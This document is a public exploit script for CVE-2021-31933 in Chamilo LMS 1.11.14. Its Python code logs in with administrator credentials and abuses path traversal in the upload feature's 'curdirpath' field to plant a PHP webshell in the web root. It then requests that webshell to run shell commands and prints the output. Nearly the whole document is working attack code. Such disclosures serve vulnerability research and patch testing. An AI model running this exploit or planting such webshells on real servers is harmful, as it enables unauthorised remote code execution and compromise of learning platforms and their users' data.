Chamilo LMS 1.11.14 – Remote Code Execution (Authenticated)
# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated) # Date: 13/05/2021 # Exploit Author: M. Cory Billington (@_th3y) # Vendor Homepage: https://chamilo.org # Software Link: https://github.com/chamilo/chamilo-lms # Version: 1.11.14 # Tested on: Ubuntu 20.04.2 LTS # CVE: CVE-2021-31933 # Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/ from requests import Session from random import choice from string import ascii_lowercase import requests # This is all configuration stuff, url = "http://127.0.0.1/chamilo-lms/" # URL to remote host web root user_name = "admin" # User must be an administrator password = "admin" command = "id;whoami" # Where you want to upload your webshell. Must be writable by web server user. # This spot isn't protectec by .htaccess webshell_path = 'web/' webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file content = f"<?php echo `{command}`; ?>" def main(): # Run a context manager with a session object to hold login session after login with Session() as s: login_url = f"{url}index.php" login_data = { "login": user_name, "password": password } r = s.post(login_url, data=login_data) # login request # Check to see if login as admin user was successful. if "admin" not in r.url: print(f"[-] Login as {user_name} failed. Need to be admin") return print(f"[+] Logged in as {user_name}") print(f"[+] Cookie: {s.cookies}") file_upload_url = f"{url}main/upload/upload.php" # The 'curdirpath' is not santitized, so I traverse to the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well php_webshell_file = { "curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"), "user_upload": (webshell_name, content) } ## Good command if you want to see what the request looks like without sending # print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii')) # Two requests required to actually upload the file for i in range(2): s.post(file_upload_url, files=php_webshell_file) exploit_request_url = f"{url}{webshell_path}{webshell_name}" print("[+] Upload complete!") print(f"[+] Webshell: {exploit_request_url}") # This is a GET request to the new webshell to trigger code execution command_output = s.get(exploit_request_url) print("[+] Command output:\n") print(command_output.text) if __name__ == "__main__": main() |